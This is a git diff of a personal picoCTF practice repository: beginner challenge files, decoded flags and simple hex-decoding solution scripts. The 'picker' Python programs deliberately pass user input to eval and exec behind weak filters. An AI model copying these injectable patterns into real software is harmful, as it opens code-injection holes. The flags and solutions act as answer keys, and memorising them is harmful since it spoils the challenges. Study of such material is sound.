+	boot_params.apm_bios_info.offset      = oreg.ebx;
+	boot_params.apm_bios_info.cseg_16     = oreg.cx;
+	boot_params.apm_bios_info.dseg        = oreg.dx;
+	boot_params.apm_bios_info.cseg_len    = oreg.si;
+	boot_params.apm_bios_info.cseg_16_len = oreg.hsi;
+	boot_params.apm_bios_info.dseg_len    = oreg.di;
+
+	if (oreg.flags & X86_EFLAGS_CF)
+		return -1;
+
+	/* Redo the installation check as the 32-bit connect;
+	   some BIOSes return different flags this way... */
+
+	ireg.al = 0x00;
+	intcall(0x15, &ireg, &oreg);
+
+	if ((oreg.eflags & X86_EFLAGS_CF) || oreg.bx != 0x504d) {
+		/* Failure with 32-bit connect, try to disconnect and ignore */
+		ireg.al = 0x04;
+		intcall(0x15, &ireg, NULL);
+		return -1;
+	}
+
+	boot_params.apm_bios_info.version = oreg.ax;
+	boot_params.apm_bios_info.flags   = oreg.cx;
+	return 0;
+}
+  '''
+  print(esoteric)
+
+
+def win():
+  # This line will not work locally unless you create your own 'flag.txt' in
+  #   the same directory as this script
+  flag = open('flag.txt', 'r').read()
+  #flag = flag[:-1]
+  flag = flag.strip()
+  str_flag = ''
+  for c in flag:
+    str_flag += str(hex(ord(c))) + ' '
+  print(str_flag)
+  
+  
+def esoteric2():
+  esoteric = \
+  '''
+#include "boot.h"
+
+#define MAX_8042_LOOPS	100000
+#define MAX_8042_FF	32
+
+static int empty_8042(void)
+{
+	u8 status;
+	int loops = MAX_8042_LOOPS;
+	int ffs   = MAX_8042_FF;
+
+	while (loops--) {
+		io_delay();
+
+		status = inb(0x64);
+		if (status == 0xff) {
+			/* FF is a plausible, but very unlikely status */
+			if (!--ffs)
+				return -1; /* Assume no KBC present */
+		}
+		if (status & 1) {
+			/* Read and discard input data */
+			io_delay();
+			(void)inb(0x60);
+		} else if (!(status & 2)) {
+			/* Buffers empty, finished! */
+			return 0;
+		}
+	}
+
+	return -1;
+}
+
+/* Returns nonzero if the A20 line is enabled.  The memory address
+   used as a test is the int $0x80 vector, which should be safe. */
+
+#define A20_TEST_ADDR	(4*0x80)
+#define A20_TEST_SHORT  32
+#define A20_TEST_LONG	2097152	/* 2^21 */
+
+static int a20_test(int loops)
+{
+	int ok = 0;
+	int saved, ctr;
+
+	set_fs(0x0000);
+	set_gs(0xffff);
+
+	saved = ctr = rdfs32(A20_TEST_ADDR);
+
+	while (loops--) {
+		wrfs32(++ctr, A20_TEST_ADDR);
+		io_delay();	/* Serialize and make delay constant */
+		ok = rdgs32(A20_TEST_ADDR+0x10) ^ ctr;
+		if (ok)
+			break;
+	}
+
+	wrfs32(saved, A20_TEST_ADDR);
+	return ok;
+}
+
+/* Quick test to see if A20 is already enabled */
+static int a20_test_short(void)
+{
+	return a20_test(A20_TEST_SHORT);
+}
+  '''
+  print(esoteric)
+
+
+def filter(user_input):
+  if 'win' in user_input:
+    return False
+  return True
+
+
+while(True):
+  try:
+    user_input = input('==> ')
+    if( filter(user_input) ):
+      eval(user_input + '()')
+    else:
+      print('Illegal input')
+  except Exception as e:
+    print(e)
diff --git a/mochis_tale/interlude/picker_2/sol.py b/mochis_tale/interlude/picker_2/sol.py
new file mode 100755
index 0000000..5600079
--- /dev/null
+++ b/mochis_tale/interlude/picker_2/sol.py
@@ -0,0 +1,5 @@
+#!/home/maxime/.pyvenv/bin/python3
+
+with open("hex", 'r') as f:
+    print(''.join(map(lambda a: chr(int(a, 16)), f.readline().strip().split(' '))))
+
diff --git a/mochis_tale/interlude/picker_3/hex b/mochis_tale/interlude/picker_3/hex
new file mode 100644
index 0000000..962f485
--- /dev/null
+++ b/mochis_tale/interlude/picker_3/hex
@@ -0,0 +1 @@
+0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x61 0x31 0x38 0x36 0x66 0x39 0x61 0x63 0x7d
diff --git a/mochis_tale/interlude/picker_3/picker-III.py b/mochis_tale/interlude/picker_3/picker-III.py
new file mode 100755
index 0000000..1f7d04f
--- /dev/null
+++ b/mochis_tale/interlude/picker_3/picker-III.py
@@ -0,0 +1,198 @@
+
+import re
+
+
+
+USER_ALIVE = True
+FUNC_TABLE_SIZE = 4
+FUNC_TABLE_ENTRY_SIZE = 32
+CORRUPT_MESSAGE = 'Table corrupted. Try entering \'reset\' to fix it'
+
+func_table = ''
+
+def reset_table():
+  global func_table
+
+  # This table is formatted for easier viewing, but it is really one line
+  func_table = \
+'''\
+print_table                     \
+read_variable                   \
+write_variable                  \
+getRandomNumber                 \
+'''
+
+def check_table():
+  global func_table
+
+  if( len(func_table) != FUNC_TABLE_ENTRY_SIZE * FUNC_TABLE_SIZE):
+    return False
+
+  return True
+
+
+def get_func(n):
+  global func_table
+
+  # Check table for viability
+  if( not check_table() ):
+    print(CORRUPT_MESSAGE)
+    return
+
+  # Get function name from table
+  func_name = ''
+  func_name_offset = n * FUNC_TABLE_ENTRY_SIZE
+  for i in range(func_name_offset, func_name_offset+FUNC_TABLE_ENTRY_SIZE):
+    if( func_table[i] == ' '):
+      func_name = func_table[func_name_offset:i]
+      break
+
+  if( func_name == '' ):
+    func_name = func_table[func_name_offset:func_name_offset+FUNC_TABLE_ENTRY_SIZE]
+  
+  return func_name
+
+
+def print_table():
+  # Check table for viability
+  if( not check_table() ):
+    print(CORRUPT_MESSAGE)
+    return
+
+  for i in range(0, FUNC_TABLE_SIZE):
+    j = i + 1
+    print(str(j)+': ' + get_func(i))
+
+
+def filter_var_name(var_name):
+  r = re.search('^[a-zA-Z_][a-zA-Z_0-9]*$', var_name)
+  if r:
+    return True
+  else:
+    return False
+
+
+def read_variable():
+  var_name = input('Please enter variable name to read: ')
+  if( filter_var_name(var_name) ):
+    eval('print('+var_name+')')
+  else:
+    print('Illegal variable name')
+
+
+def filter_value(value):
+  if ';' in value or '(' in value or ')' in value:
+    return False
+  else:
+    return True
+
+
+def write_variable():
+  var_name = input('Please enter variable name to write: ')
+  if( filter_var_name(var_name) ):
+    value = input('Please enter new value of variable: ')
+    if( filter_value(value) ):
+      exec('global '+var_name+'; '+var_name+' = '+value)
+    else:
+      print('Illegal value')
+  else:
+    print('Illegal variable name')
+
+
+def call_func(n):
+  """
+  Calls the nth function in the function table.
+  Arguments:
+    n: The function to call. The first function is 0.
+  """
+
+  # Check table for viability
+  if( not check_table() ):
+    print(CORRUPT_MESSAGE)
+    return
+
+  # Check n
+  if( n < 0 ):
+    print('n cannot be less than 0. Aborting...')
+    return
+  elif( n >= FUNC_TABLE_SIZE ):
+    print('n cannot be greater than or equal to the function table size of '+FUNC_TABLE_SIZE)
+    return
+
+  # Get function name from table
+  func_name = get_func(n)
+
+  # Run the function
+  eval(func_name+'()')
+
+
+def dummy_func1():
+  print('in dummy_func1')
+
+def dummy_func2():
+  print('in dummy_func2')
+
+def dummy_func3():
+  print('in dummy_func3')
+
+def dummy_func4():
+  print('in dummy_func4')
+
+def getRandomNumber():
+  print(4)  # Chosen by fair die roll.
+            # Guaranteed to be random.
+            # (See XKCD)
+
+def win():
+  # This line will not work locally unless you create your own 'flag.txt' in
+  #   the same directory as this script
+  flag = open('flag.txt', 'r').read()
+  #flag = flag[:-1]
+  flag = flag.strip()
+  str_flag = ''
+  for c in flag:
+    str_flag += str(hex(ord(c))) + ' '
+  print(str_flag)
+
+def help_text():
+  print(
+  '''
+This program fixes vulnerabilities in its predecessor by limiting what
+functions can be called to a table of predefined functions. This still puts
+the user in charge, but prevents them from calling undesirable subroutines.
+
+* Enter 'quit' to quit the program.
+* Enter 'help' for this text.
+* Enter 'reset' to reset the table.
+* Enter '1' to execute the first function in the table.
+* Enter '2' to execute the second function in the table.
+* Enter '3' to execute the third function in the table.
+* Enter '4' to execute the fourth function in the table.
+
+Here's the current table:
+  '''
+  )
+  print_table()
+
+
+
+reset_table()
+
+while(USER_ALIVE):
+  choice = input('==> ')
+  if( choice == 'quit' or choice == 'exit' or choice == 'q' ):
+    USER_ALIVE = False
+  elif( choice == 'help' or choice == '?' ):
+    help_text()
+  elif( choice == 'reset' ):
+    reset_table()
+  elif( choice == '1' ):
+    call_func(0)
+  elif( choice == '2' ):
+    call_func(1)
+  elif( choice == '3' ):
+    call_func(2)
+  elif( choice == '4' ):
+    call_func(3)
+  else:
+    print('Did not understand "'+choice+'" Have you tried "help"?')
diff --git a/mochis_tale/interlude/picker_3/sol.py b/mochis_tale/interlude/picker_3/sol.py
new file mode 100755
index 0000000..5600079
--- /dev/null
+++ b/mochis_tale/interlude/picker_3/sol.py
@@ -0,0 +1,5 @@
+#!/home/maxime/.pyvenv/bin/python3
+
+with open("hex", 'r') as f:
+    print(''.join(map(lambda a: chr(int(a, 16)), f.readline().strip().split(' '))))
+
diff --git a/mochis_tale/intro_to_assembly/bit_o_asm_1/disassembler-dump0_a.txt b/mochis_tale/intro_to_assembly/bit_o_asm_1/disassembler-dump0_a.txt
new file mode 100755
index 0000000..b09891c
--- /dev/null
+++ b/mochis_tale/intro_to_assembly/bit_o_asm_1/disassembler-dump0_a.txt
@@ -0,0 +1,8 @@
+<+0>:     endbr64 
+<+4>:     push   rbp
+<+5>:     mov    rbp,rsp
+<+8>:     mov    DWORD PTR [rbp-0x4],edi
+<+11>:    mov    QWORD PTR [rbp-0x10],rsi
+<+15>:    mov    eax,0x30
+<+20>:    pop    rbp
+<+21>:    ret
diff --git a/mochis_tale/intro_to_assembly/bit_o_asm_2/disassembler-dump0_b.txt b/mochis_tale/intro_to_assembly/bit_o_asm_2/disassembler-dump0_b.txt
new file mode 100755
index 0000000..cde9574
--- /dev/null
+++ b/mochis_tale/intro_to_assembly/bit_o_asm_2/disassembler-dump0_b.txt
@@ -0,0 +1,9 @@
+<+0>:     endbr64 
+<+4>:     push   rbp
+<+5>:     mov    rbp,rsp
+<+8>:     mov    DWORD PTR [rbp-0x14],edi
+<+11>:    mov    QWORD PTR [rbp-0x20],rsi
+<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
+<+22>:    mov    eax,DWORD PTR [rbp-0x4]
+<+25>:    pop    rbp
+<+26>:    ret
diff --git a/mochis_tale/intro_to_assembly/bit_o_asm_3/disassembler-dump0_c.txt b/mochis_tale/intro_to_assembly/bit_o_asm_3/disassembler-dump0_c.txt
new file mode 100755
index 0000000..48a29f5
--- /dev/null
+++ b/mochis_tale/intro_to_assembly/bit_o_asm_3/disassembler-dump0_c.txt
@@ -0,0 +1,14 @@
+<+0>:     endbr64 
+<+4>:     push   rbp
+<+5>:     mov    rbp,rsp
+<+8>:     mov    DWORD PTR [rbp-0x14],edi
+<+11>:    mov    QWORD PTR [rbp-0x20],rsi
+<+15>:    mov    DWORD PTR [rbp-0xc],0x9fe1a
+<+22>:    mov    DWORD PTR [rbp-0x8],0x4
+<+29>:    mov    eax,DWORD PTR [rbp-0xc]
+<+32>:    imul   eax,DWORD PTR [rbp-0x8]
+<+36>:    add    eax,0x1f5
+<+41>:    mov    DWORD PTR [rbp-0x4],eax
+<+44>:    mov    eax,DWORD PTR [rbp-0x4]
+<+47>:    pop    rbp
+<+48>:    ret
diff --git a/mochis_tale/intro_to_assembly/bit_o_asm_4/disassembler-dump0_d.txt b/mochis_tale/intro_to_assembly/bit_o_asm_4/disassembler-dump0_d.txt
new file mode 100755
index 0000000..8c810be
--- /dev/null
+++ b/mochis_tale/intro_to_assembly/bit_o_asm_4/disassembler-dump0_d.txt
@@ -0,0 +1,14 @@
+<+0>:     endbr64 
+<+4>:     push   rbp
+<+5>:     mov    rbp,rsp
+<+8>:     mov    DWORD PTR [rbp-0x14],edi
+<+11>:    mov    QWORD PTR [rbp-0x20],rsi
+<+15>:    mov    DWORD PTR [rbp-0x4],0x9fe1a
+<+22>:    cmp    DWORD PTR [rbp-0x4],0x2710
+<+29>:    jle    0x55555555514e <main+37>
+<+31>:    sub    DWORD PTR [rbp-0x4],0x65
+<+35>:    jmp    0x555555555152 <main+41>
+<+37>:    add    DWORD PTR [rbp-0x4],0x65
+<+41>:    mov    eax,DWORD PTR [rbp-0x4]
+<+44>:    pop    rbp
+<+45>:    ret
diff --git a/mochis_tale/intro_to_debuggers/ascii_ftw/asciiftw b/mochis_tale/intro_to_debuggers/ascii_ftw/asciiftw
new file mode 100755
index 0000000..e6640a5
Binary files /dev/null and b/mochis_tale/intro_to_debuggers/ascii_ftw/asciiftw differ
diff --git a/mochis_tale/intro_to_debuggers/gdb_baby_step_1/debugger0_a b/mochis_tale/intro_to_debuggers/gdb_baby_step_1/debugger0_a
new file mode 100755
index 0000000..f124517
Binary files /dev/null and b/mochis_tale/intro_to_debuggers/gdb_baby_step_1/debugger0_a differ
diff --git a/mochis_tale/intro_to_debuggers/gdb_baby_step_2/debugger0_b b/mochis_tale/intro_to_debuggers/gdb_baby_step_2/debugger0_b
new file mode 100755
index 0000000..d758eff
Binary files /dev/null and b/mochis_tale/intro_to_debuggers/gdb_baby_step_2/debugger0_b differ
diff --git a/mochis_tale/intro_to_debuggers/gdb_baby_step_3/debugger0_c b/mochis_tale/intro_to_debuggers/gdb_baby_step_3/debugger0_c
new file mode 100755
index 0000000..de81f13
Binary files /dev/null and b/mochis_tale/intro_to_debuggers/gdb_baby_step_3/debugger0_c differ
diff --git a/mochis_tale/intro_to_debuggers/gdb_baby_step_4/debugger0_d b/mochis_tale/intro_to_debuggers/gdb_baby_step_4/debugger0_d
new file mode 100755
index 0000000..ba7f1e5
Binary files /dev/null and b/mochis_tale/intro_to_debuggers/gdb_baby_step_4/debugger0_d differ
diff --git a/mochis_tale/warmup/ascii_numbers/sol.py b/mochis_tale/warmup/ascii_numbers/sol.py
new file mode 100755
index 0000000..3307973
--- /dev/null
+++ b/mochis_tale/warmup/ascii_numbers/sol.py
@@ -0,0 +1,8 @@
+#!/home/maxime/.pyvenv/bin/python3
+
+with open("string", 'r') as f:
+    line = f.readline().strip()
+    chars = line.split(' ')
+    chars = map(lambda a: chr(int(a, 16)), chars)
+    print(''.join(chars))
+
diff --git a/mochis_tale/warmup/ascii_numbers/string b/mochis_tale/warmup/ascii_numbers/string
new file mode 100644
index 0000000..763dc3d
--- /dev/null
+++ b/mochis_tale/warmup/ascii_numbers/string
@@ -0,0 +1 @@
+0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d
diff --git a/mochis_tale/warmup/obedient_cat/flag b/mochis_tale/warmup/obedient_cat/flag
new file mode 100755
index 0000000..7f225d7
--- /dev/null
+++ b/mochis_tale/warmup/obedient_cat/flag
@@ -0,0 +1 @@
+picoCTF{s4n1ty_v3r1f13d_2fd6ed29}
diff --git a/mochis_tale/warmup/picker_1/code b/mochis_tale/warmup/picker_1/code
new file mode 100644
index 0000000..309c91b
--- /dev/null
+++ b/mochis_tale/warmup/picker_1/code
@@ -0,0 +1 @@
+0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x36 0x65 0x30 0x34 0x34 0x34 0x30 0x64 0x7d
diff --git a/mochis_tale/warmup/picker_1/picker-I.py b/mochis_tale/warmup/picker_1/picker-I.py
new file mode 100755
index 0000000..e31a4cd
--- /dev/null
+++ b/mochis_tale/warmup/picker_1/picker-I.py
@@ -0,0 +1,167 @@
+
+import sys
+
+
+
+def getRandomNumber():
+  print(4)  # Chosen by fair die roll.
+            # Guaranteed to be random.
+            # (See XKCD)
+
+def exit():
+  sys.exit(0)
+  
+def esoteric1():
+  esoteric = \
+  '''
+  int query_apm_bios(void)
+{
+	struct biosregs ireg, oreg;
+
+	/* APM BIOS installation check */
+	initregs(&ireg);
+	ireg.ah = 0x53;
+	intcall(0x15, &ireg, &oreg);
+
+	if (oreg.flags & X86_EFLAGS_CF)
+		return -1;		/* No APM BIOS */
+
+	if (oreg.bx != 0x504d)		/* "PM" signature */
+		return -1;
+
+	if (!(oreg.cx & 0x02))		/* 32 bits supported? */
+		return -1;
+
+	/* Disconnect first, just in case */
+	ireg.al = 0x04;
+	intcall(0x15, &ireg, NULL);
+
+	/* 32-bit connect */
+	ireg.al = 0x03;
+	intcall(0x15, &ireg, &oreg);
+
+	boot_params.apm_bios_info.cseg        = oreg.ax;
+	boot_params.apm_bios_info.offset      = oreg.ebx;
+	boot_params.apm_bios_info.cseg_16     = oreg.cx;
+	boot_params.apm_bios_info.dseg        = oreg.dx;
+	boot_params.apm_bios_info.cseg_len    = oreg.si;
+	boot_params.apm_bios_info.cseg_16_len = oreg.hsi;
+	boot_params.apm_bios_info.dseg_len    = oreg.di;
+
+	if (oreg.flags & X86_EFLAGS_CF)
+		return -1;
+
+	/* Redo the installation check as the 32-bit connect;
+	   some BIOSes return different flags this way... */
+
+	ireg.al = 0x00;
+	intcall(0x15, &ireg, &oreg);
+
+	if ((oreg.eflags & X86_EFLAGS_CF) || oreg.bx != 0x504d) {
+		/* Failure with 32-bit connect, try to disconnect and ignore */
+		ireg.al = 0x04;
+		intcall(0x15, &ireg, NULL);
+		return -1;
+	}
+
+	boot_params.apm_bios_info.version = oreg.ax;
+	boot_params.apm_bios_info.flags   = oreg.cx;
+	return 0;
+}
+  '''
+  print(esoteric)
+
+
+def win():
+  # This line will not work locally unless you create your own 'flag.txt' in
+  #   the same directory as this script
+  flag = open('flag.txt', 'r').read()
+  #flag = flag[:-1]
+  flag = flag.strip()
+  str_flag = ''
+  for c in flag:
+    str_flag += str(hex(ord(c))) + ' '
+  print(str_flag)
+  
+  
+def esoteric2():
+  esoteric = \
+  '''
+#include "boot.h"
+
+#define MAX_8042_LOOPS	100000
+#define MAX_8042_FF	32
+
+static int empty_8042(void)
+{
+	u8 status;
+	int loops = MAX_8042_LOOPS;
+	int ffs   = MAX_8042_FF;
+
+	while (loops--) {
+		io_delay();
+
+		status = inb(0x64);
+		if (status == 0xff) {
+			/* FF is a plausible, but very unlikely status */
+			if (!--ffs)
+				return -1; /* Assume no KBC present */
+		}
+		if (status & 1) {
+			/* Read and discard input data */
+			io_delay();
+			(void)inb(0x60);
+		} else if (!(status & 2)) {
+			/* Buffers empty, finished! */
+			return 0;
+		}
+	}
+
+	return -1;
+}
+
+/* Returns nonzero if the A20 line is enabled.  The memory address
+   used as a test is the int $0x80 vector, which should be safe. */
+
+#define A20_TEST_ADDR	(4*0x80)
+#define A20_TEST_SHORT  32
+#define A20_TEST_LONG	2097152	/* 2^21 */
+
+static int a20_test(int loops)
+{
+	int ok = 0;
+	int saved, ctr;
+
+	set_fs(0x0000);
+	set_gs(0xffff);
+
+	saved = ctr = rdfs32(A20_TEST_ADDR);
+
+	while (loops--) {
+		wrfs32(++ctr, A20_TEST_ADDR);
+		io_delay();	/* Serialize and make delay constant */
+		ok = rdgs32(A20_TEST_ADDR+0x10) ^ ctr;
+		if (ok)
+			break;
+	}
+
+	wrfs32(saved, A20_TEST_ADDR);
+	return ok;
+}
+
+/* Quick test to see if A20 is already enabled */
+static int a20_test_short(void)
+{
+	return a20_test(A20_TEST_SHORT);
+}
+  '''
+  print(esoteric)
+
+
+while(True):
+  try:
+    print('Try entering "getRandomNumber" without the double quotes...')
+    user_input = input('==> ')
+    eval(user_input + '()')
+  except Exception as e:
+    print(e)
diff --git a/mochis_tale/warmup/picker_1/sol.py b/mochis_tale/warmup/picker_1/sol.py
new file mode 100755
index 0000000..050ce01
--- /dev/null
+++ b/mochis_tale/warmup/picker_1/sol.py
@@ -0,0 +1,6 @@
+#!/home/maxime/.pyvenv/bin/python3
+
+with open("code", 'r') as f:
+    line = f.readline()
+    print(''.join(map(lambda a: chr(int(a, 16)), line.strip().split(' '))))
+
diff --git a/mochis_tale/warmup/warmed_up/sol.py b/mochis_tale/warmup/warmed_up/sol.py
new file mode 100755
index 0000000..913218e
--- /dev/null
+++ b/mochis_tale/warmup/warmed_up/sol.py
@@ -0,0 +1,6 @@
+#!/home/maxime/.pyvenv/bin/python3
+
+s = "0x3D"
+i = int(s, 16)
+print(i)
+
diff --git a/python_in_ctf/fixme_1/fixme1.py b/python_in_ctf/fixme_1/fixme1.py
new file mode 100755
index 0000000..7a35611
--- /dev/null
+++ b/python_in_ctf/fixme_1/fixme1.py
@@ -0,0 +1,19 @@
+#!/home/maxime/.pyvenv/bin/python3
+import random
+
+def str_xor(secret, key):
+    #extend key to secret length
+    new_key = key
+    i = 0
+    while len(new_key) < len(secret):
+        new_key = new_key + key[i]
+        i = (i + 1) % len(key)        
+    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
+
+
+flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5a) + chr(0x07) + chr(0x00) + chr(0x46) + chr(0x0b) + chr(0x1a) + chr(0x5a) + chr(0x1d) + chr(0x1d) + chr(0x2a) + chr(0x06) + chr(0x1c) + chr(0x5a) + chr(0x5c) + chr(0x55) + chr(0x40) + chr(0x3a) + chr(0x58) + chr(0x0a) + chr(0x5d) + chr(0x53) + chr(0x43) + chr(0x06) + chr(0x56) + chr(0x0d) + chr(0x14)
+
+  
+flag = str_xor(flag_enc, 'enkidu')
+print('That is correct! Here\'s your flag: ' + flag)
+
diff --git a/python_in_ctf/fixme_2/fixme2.py b/python_in_ctf/fixme_2/fixme2.py
new file mode 100755
index 0000000..0813031
--- /dev/null
+++ b/python_in_ctf/fixme_2/fixme2.py
@@ -0,0 +1,25 @@
+#!/home/maxime/.pyvenv/bin/python3
+import random
+
+def str_xor(secret, key):
+    #extend key to secret length
+    new_key = key
+    i = 0
+    while len(new_key) < len(secret):
+        new_key = new_key + key[i]
+        i = (i + 1) % len(key)        
+    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
+
+
+flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x58) + chr(0x18) + chr(0x11) + chr(0x41) + chr(0x09) + chr(0x5f) + chr(0x1f) + chr(0x10) + chr(0x3b) + chr(0x1b) + chr(0x55) + chr(0x1a) + chr(0x34) + chr(0x5d) + chr(0x51) + chr(0x40) + chr(0x54) + chr(0x09) + chr(0x05) + chr(0x04) + chr(0x57) + chr(0x1b) + chr(0x11) + chr(0x31) + chr(0x0d) + chr(0x5f) + chr(0x05) + chr(0x40) + chr(0x04) + chr(0x0b) + chr(0x0d) + chr(0x0a) + chr(0x19)
+
+  
+flag = str_xor(flag_enc, 'enkidu')
+
+# Check that flag is not empty
+if flag == "":
+  print('String XOR encountered a problem, quitting.')
+else:
+  print('That is correct! Here\'s your flag: ' + flag)
+
+
diff --git a/python_in_ctf/pw_crack_1/level1.flag.txt.enc b/python_in_ctf/pw_crack_1/level1.flag.txt.enc
new file mode 100755
index 0000000..83dc710
Binary files /dev/null and b/python_in_ctf/pw_crack_1/level1.flag.txt.enc differ
diff --git a/python_in_ctf/pw_crack_1/level1.py b/python_in_ctf/pw_crack_1/level1.py
new file mode 100755
index 0000000..1be06cd
--- /dev/null
+++ b/python_in_ctf/pw_crack_1/level1.py
@@ -0,0 +1,29 @@
+#!/home/maxime/.pyvenv/bin/python3
+### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
+def str_xor(secret, key):
+    #extend key to secret length
+    new_key = key
+    i = 0
+    while len(new_key) < len(secret):
+        new_key = new_key + key[i]
+        i = (i + 1) % len(key)        
+    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
+###############################################################################
+
+
+flag_enc = open('level1.flag.txt.enc', 'rb').read()
+
+
+
+def level_1_pw_check():
+    user_pw = input("Please enter correct password for flag: ")
+    if( user_pw == "8713"):
+        print("Welcome back... your flag, user:")
+        decryption = str_xor(flag_enc.decode(), user_pw)
+        print(decryption)
+        return
+    print("That password is incorrect")
+
+
+
+level_1_pw_check()
diff --git a/python_in_ctf/pw_crack_2/level2.flag.txt.enc b/python_in_ctf/pw_crack_2/level2.flag.txt.enc
new file mode 100755
index 0000000..4c28d25
Binary files /dev/null and b/python_in_ctf/pw_crack_2/level2.flag.txt.enc differ
diff --git a/python_in_ctf/pw_crack_2/level2.py b/python_in_ctf/pw_crack_2/level2.py
new file mode 100755
index 0000000..3f86acf
--- /dev/null
+++ b/python_in_ctf/pw_crack_2/level2.py
@@ -0,0 +1,28 @@
+#!/home/maxime/.pyvenv/bin/python3
+### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
+def str_xor(secret, key):
+    #extend key to secret length
+    new_key = key
+    i = 0
+    while len(new_key) < len(secret):
+        new_key = new_key + key[i]
+        i = (i + 1) % len(key)        
+    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
+###############################################################################
+
+flag_enc = open('level2.flag.txt.enc', 'rb').read()
+
+
+
+def level_2_pw_check():
+    user_pw = input("Please enter correct password for flag: ")
+    if( user_pw == chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39) ):
+        print("Welcome back... your flag, user:")
+        decryption = str_xor(flag_enc.decode(), user_pw)
+        print(decryption)
+        return
+    print("That password is incorrect")
+
+
+
+level_2_pw_check()
diff --git a/sleuthkit_intro/disk.img b/sleuthkit_intro/disk.img
new file mode 100755
index 0000000..10643cb
Binary files /dev/null and b/sleuthkit_intro/disk.img differ
diff --git a/static_aint_always_noise/ltdis.sh b/static_aint_always_noise/ltdis.sh
new file mode 100755
index 0000000..80747d6
--- /dev/null
+++ b/static_aint_always_noise/ltdis.sh
@@ -0,0 +1,32 @@
+#!/bin/bash
+
+
+
+echo "Attempting disassembly of $1 ..."
+
+
+#This usage of "objdump" disassembles all (-D) of the first file given by 
+#invoker, but only prints out the ".text" section (-j .text) (only section
+#that matters in almost any compiled program...
+
+objdump -Dj .text $1 > $1.ltdis.x86_64.txt
+
+
+#Check that $1.ltdis.x86_64.txt is non-empty
+#Continue if it is, otherwise print error and eject
+
+if [ -s "$1.ltdis.x86_64.txt" ]
+then
+	echo "Disassembly successful! Available at: $1.ltdis.x86_64.txt"
+
+	echo "Ripping strings from binary with file offsets..."
+	strings -a -t x $1 > $1.ltdis.strings.txt
+	echo "Any strings found in $1 have been written to $1.ltdis.strings.txt with file offset"
+
+
+
+else
+	echo "Disassembly failed!"
+	echo "Usage: ltdis.sh <program-file>"
+	echo "Bye!"
+fi
diff --git a/static_aint_always_noise/static b/static_aint_always_noise/static
new file mode 100755
index 0000000..8ad41f4
Binary files /dev/null and b/static_aint_always_noise/static differ
diff --git a/strings_it/strings b/strings_it/strings
new file mode 100755
index 0000000..9eb7261
Binary files /dev/null and b/strings_it/strings differ
diff --git a/tab_tab_attack/Addadshashanammu.zip b/tab_tab_attack/Addadshashanammu.zip
new file mode 100755
index 0000000..2dedcf7
Binary files /dev/null and b/tab_tab_attack/Addadshashanammu.zip differ
diff --git a/tab_tab_attack/Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet b/tab_tab_attack/Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet
new file mode 100755
index 0000000..1d06cbe
Binary files /dev/null and b/tab_tab_attack/Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku/fang-of-haynekhtnamet differ
diff --git a/the_numbers/numbers b/the_numbers/numbers
new file mode 100644
index 0000000..97c7112
--- /dev/null
+++ b/the_numbers/numbers
@@ -0,0 +1 @@
+16 9 3 15 3 20 6 { 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14 }
diff --git a/the_numbers/the_numbers.png b/the_numbers/the_numbers.png
new file mode 100755
index 0000000..786c917
Binary files /dev/null and b/the_numbers/the_numbers.png differ